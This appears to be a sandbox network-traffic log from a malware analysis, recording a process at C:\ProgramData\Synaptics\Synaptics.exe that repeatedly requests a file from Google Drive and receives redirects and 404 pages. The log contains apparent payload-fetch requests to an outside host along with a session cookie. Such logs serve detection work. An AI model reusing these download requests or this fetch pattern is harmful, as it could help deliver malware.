2024-12-30 10:36:21 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:21 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce--L2uMHTh5Zaienn3xICoig' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49873	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:20 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:21 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6U7SkHgCFWVNvBsx6MKknBv0tX1mdUoYTO5gScq2t53SZTMnanqIWtn2mnZxJJvO8f Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:21 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-6YKQDDoArSa8Zn2XpjZOKw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:21 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:21 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 44 49 75 62 63 57 63 56 74 63 79 63 34 41 47 6b 7a 72 79 49 69 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="DIubcWcVtcyc4AGkzryIiQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:21 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49872	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:20 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:21 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:21 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-1Jy5KM6SPyX5lw9lYgh3sA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49874	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:21 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:22 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:22 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-UlEO4Lx6_3BtDzr2p5QBnA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49875	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:21 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:22 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6CwQR9sf0jLn3NHLLeoej-k-1l5drsjFsd1j0mvqlTcqy-sKaut4w6i4HtnxmYyIlJ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:22 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-KBQTsE4DM7dwDaqWe2ccSw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:22 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:22 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 43 71 6b 63 65 65 39 56 31 43 5f 6d 44 6c 76 48 48 54 37 79 48 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="Cqkcee9V1C_mDlvHHT7yHg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:22 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49876	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:21 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:22 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:22 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-TQBqqlvOZthSKs_dIEmBGw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49877	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:21 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:22 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7ek4DTrJSkrOsL8HTQTi1aZNmyKRVi_VaihsDDPATtqvgqgtmGN1eSe6FluNvz9A9W Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:22 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-PVUMq_3d8Y9_mGPpznF8wQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:22 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:22 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 37 42 36 5f 4f 6a 51 6c 65 42 5a 61 62 4f 55 75 58 61 63 31 69 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="7B6_OjQleBZabOUuXac1iw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:22 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49878	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:22 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:23 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Saz7_PmBlx__B3bwO05mmg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49879	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:22 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:23 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-h2KHBi8lXKoZxBnEn93VPA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49880	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:23 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
